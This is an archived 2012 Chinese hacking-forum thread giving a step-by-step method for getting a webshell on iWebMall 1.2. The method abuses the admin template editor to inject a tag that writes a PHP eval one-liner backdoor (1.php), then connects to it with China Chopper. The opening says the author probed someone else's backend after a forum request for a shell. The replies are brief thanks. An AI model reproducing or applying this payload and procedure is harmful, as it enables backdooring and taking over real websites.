# iweb\_mall后台拿webshell

**URL:** <https://forum.90sec.com/t/topic/3191>\
**Category:** 技术文章\
**Created:** [2012 年1 月 29 日 05:56 UTC](https://forum.90sec.com/t/topic/3191 "2012-01-29T05:56:36Z")\
**Posts on this page:** 9\
**Page:** 1

<div class="post-metadata">

作者： ![L.N](https://forum.90sec.com/user_avatar/forum.90sec.com/l.n/32/11411_2.png) [@L.N](https://forum.90sec.com/u/L.N)\
发布日期： [2012 年1 月 29 日 05:56 UTC](https://forum.90sec.com/t/topic/3191/1 "2012-01-29T05:56:36Z")

</div>

刚在论坛看见一童鞋发一后台求webshell，于是乎手一痒进去看了看！发现是iweb\_mall的程序！于是乎转了转！没有发现什么好的拿shell的方法！  
看见模板可以编译修改！于是乎下载了官方的源码，本地搭建测试了下！  
测试如下：  
如有雷同，纯属巧合！（我百度好像还没有人发过！菜鸟贴！大牛勿笑！）

```
   我的本地搭建环境是：Windows版的xampp 1.7.7
      web程序：iWebMall1.2 简体UTF-8
 1.进入后台点击扩展应用：如图

```

## [GNL\_CEI}\_HKQY)EZ0L`1$QH.jpg](/discuz-migration/attachments/75ba67791777dc8f3eac564b1edd0b8754c0661ab268d2a3f63aba45dbf00252) 2.进入了模板管理界面点击修改index.html [Z_H8691PYYPK{3I@@LZ}DKD.jpg](/discuz-migration/attachments/5f0d5ff9a79dcc4ec3f67be65f2984b4610fa0a7fa3feb3f0285bf797a2b785e) 3.插入代码并保存：{inc: $file=fopen("./1.php",'w');fwrite($file,'&lt;?php eval($_POST[ln]);?&gt;');fclose($file);/}[E2C%8OV55QRIOZFP{1@0_ZC.jpg](/discuz-migration/attachments/bd6466a155b59b3a7fdbdf13ba58607eaf515c7f5acff47eafd12e0795396d8b) 4.回到了管理界面，选中index.html并编译 [YIUS{L`886$0P@HT7PP0CE8.jpg](https://forum.90sec.com/discuz-migration/attachments/cbdedd83f221a9549beec9f2faae6a44830329dfeaf8db3d121cd70e3469e673) [8~~A)O9)$4\_Z}T%RP9Z@SKU.jpg](https://forum.90sec.com/discuz-migration/attachments/ffdbe5e971e99a27218688623de5d4bda79aef002d646037881842cd93bcbcb6) 5.访问首页 [\_)8%\_Q1W``L64(0)\_X71IX0.jpg](https://forum.90sec.com/discuz-migration/attachments/2de8148307b38dc0a871561f57207578530c7f9e1fb24fab38d62de608c0ad2d) 6.用菜刀连接 [V}{)\_JHNFIH}L`6%6Z$KX7U.jpg](https://forum.90sec.com/discuz-migration/attachments/aef2cdddba42b756cd87f620612b672894953b668faf7c224e14a397a6873363) 7.成功

ps：其实这种拿shell方法很常规的！主要是用到了web程序的编译功能！重点是知道这种程序自己设定的代码书写方法  
书写规则如下：

';/}' ';?\>'

{inc:require($inc\_header);/}

```php
<?php require($inc_header);?>

```

'{inc:' '\<?php '

{echo:$none\_data;/}  
\<?php echo $none\_data;?\>  
'{echo:' '\<?php echo '

{echo:lp{pu\_no\_user};/}  
\<?php echo $pu\_langpackage-\>pu\_no\_user;?\>

{echo:str\_replace("{b\_com\_num}",$rs['comments'],lp{b\_com\_num});/}  
\<?php echo str\_replace("{b\_com\_num}",$rs['comments'],$b\_langpackage-\>b\_com\_num);?\>

{sta:$none\_data;/}

{sta:foreach($blog\_rs as $rs)[loop]}  
\<?php foreach($blog\_rs as $rs){?\>  
'{sta:' '\<?php '  
'[loop]}' '{?\>'

{end:foreach/}  
\<?php }?\>

```
'{end:' '&lt;?php '
'foreach/}' '}?&gt;'

```

{sta:if(111=222)[exc]}  
\<?php if(111=222){?\>  
'[exc]}' '{?\>'

{end:if/}  
\<?php }?\>  
'if/}' '}?\>'

历史附件补充：

[历史附件 1（需登录并具有帖子访问权限）](https://forum.90sec.com/discuz-migration/attachments/75ba67791777dc8f3eac564b1edd0b8754c0661ab268d2a3f63aba45dbf00252)

[历史附件 2（需登录并具有帖子访问权限）](https://forum.90sec.com/discuz-migration/attachments/5f0d5ff9a79dcc4ec3f67be65f2984b4610fa0a7fa3feb3f0285bf797a2b785e)

[历史附件 3（需登录并具有帖子访问权限）](https://forum.90sec.com/discuz-migration/attachments/bd6466a155b59b3a7fdbdf13ba58607eaf515c7f5acff47eafd12e0795396d8b)

---

<div class="post-metadata">

作者： ![pandas](https://forum.90sec.com/user_avatar/forum.90sec.com/pandas/32/11352_2.png) [@pandas](https://forum.90sec.com/u/pandas)\
发布日期： [2012 年1 月 29 日 07:56 UTC](https://forum.90sec.com/t/topic/3191/2 "2012-01-29T07:56:47Z")

</div>

值得支持啊 我上午也看了 没有编译。。。直接插入的lanker  
一句话

---

<div class="post-metadata">

作者： ![heike8231](https://forum.90sec.com/letter_avatar_proxy/v4/letter/h/c77e96/32.png) [@heike8231](https://forum.90sec.com/u/heike8231)\
发布日期： [2012 年1 月 29 日 10:33 UTC](https://forum.90sec.com/t/topic/3191/3 "2012-01-29T10:33:38Z")

</div>

学习了 谢谢LZ!!

---

<div class="post-metadata">

作者： ![user24](https://forum.90sec.com/user_avatar/forum.90sec.com/user24/32/11366_2.png) [@user24](https://forum.90sec.com/u/user24)\
发布日期： [2012 年1 月 29 日 13:51 UTC](https://forum.90sec.com/t/topic/3191/4 "2012-01-29T13:51:59Z")

</div>

{:4\_06:}我不小心看懂了  
很多这类型的 貌似都栽在模板这里

---

<div class="post-metadata">

作者： ![kerling3389](https://forum.90sec.com/letter_avatar_proxy/v4/letter/k/dfb087/32.png) [@kerling3389](https://forum.90sec.com/u/kerling3389)\
发布日期： [2012 年1 月 29 日 15:24 UTC](https://forum.90sec.com/t/topic/3191/5 "2012-01-29T15:24:38Z")

</div>

还是看不懂。。。。

---

<div class="post-metadata">

作者： ![idea4](https://forum.90sec.com/letter_avatar_proxy/v4/letter/i/d07c76/32.png) [@idea4](https://forum.90sec.com/u/idea4)\
发布日期： [2012 年1 月 30 日 01:22 UTC](https://forum.90sec.com/t/topic/3191/6 "2012-01-30T01:22:38Z")

</div>

呵呵 不错 够细心。。。

---

<div class="post-metadata">

作者： ![M3loee](https://forum.90sec.com/user_avatar/forum.90sec.com/m3loee/32/11354_2.png) [@M3loee](https://forum.90sec.com/u/M3loee)\
发布日期： [2012 年1 月 30 日 07:22 UTC](https://forum.90sec.com/t/topic/3191/7 "2012-01-30T07:22:07Z")

</div>

老方法了~ ~~~~~~

---

<div class="post-metadata">

作者： ![L.N](https://forum.90sec.com/user_avatar/forum.90sec.com/l.n/32/11411_2.png) [@L.N](https://forum.90sec.com/u/L.N)\
发布日期： [2012 年1 月 30 日 09:39 UTC](https://forum.90sec.com/t/topic/3191/8 "2012-01-30T09:39:46Z")

</div>

\*\*回复 [13#](http://www.90sec.org/redirect.php?goto=findpost&pid=14216&ptid=1421) _M3loee_ \*\*  
本来就是很常规的方法！

---

<div class="post-metadata">

作者： ![L.N](https://forum.90sec.com/user_avatar/forum.90sec.com/l.n/32/11411_2.png) [@L.N](https://forum.90sec.com/u/L.N)\
发布日期： [2012 年1 月 30 日 09:40 UTC](https://forum.90sec.com/t/topic/3191/9 "2012-01-30T09:40:21Z")

</div>

\*\*回复 [11#](http://www.90sec.org/redirect.php?goto=findpost&pid=14196&ptid=1421) _小武_ \*\*

{:4\_87:} 这个百度吧！
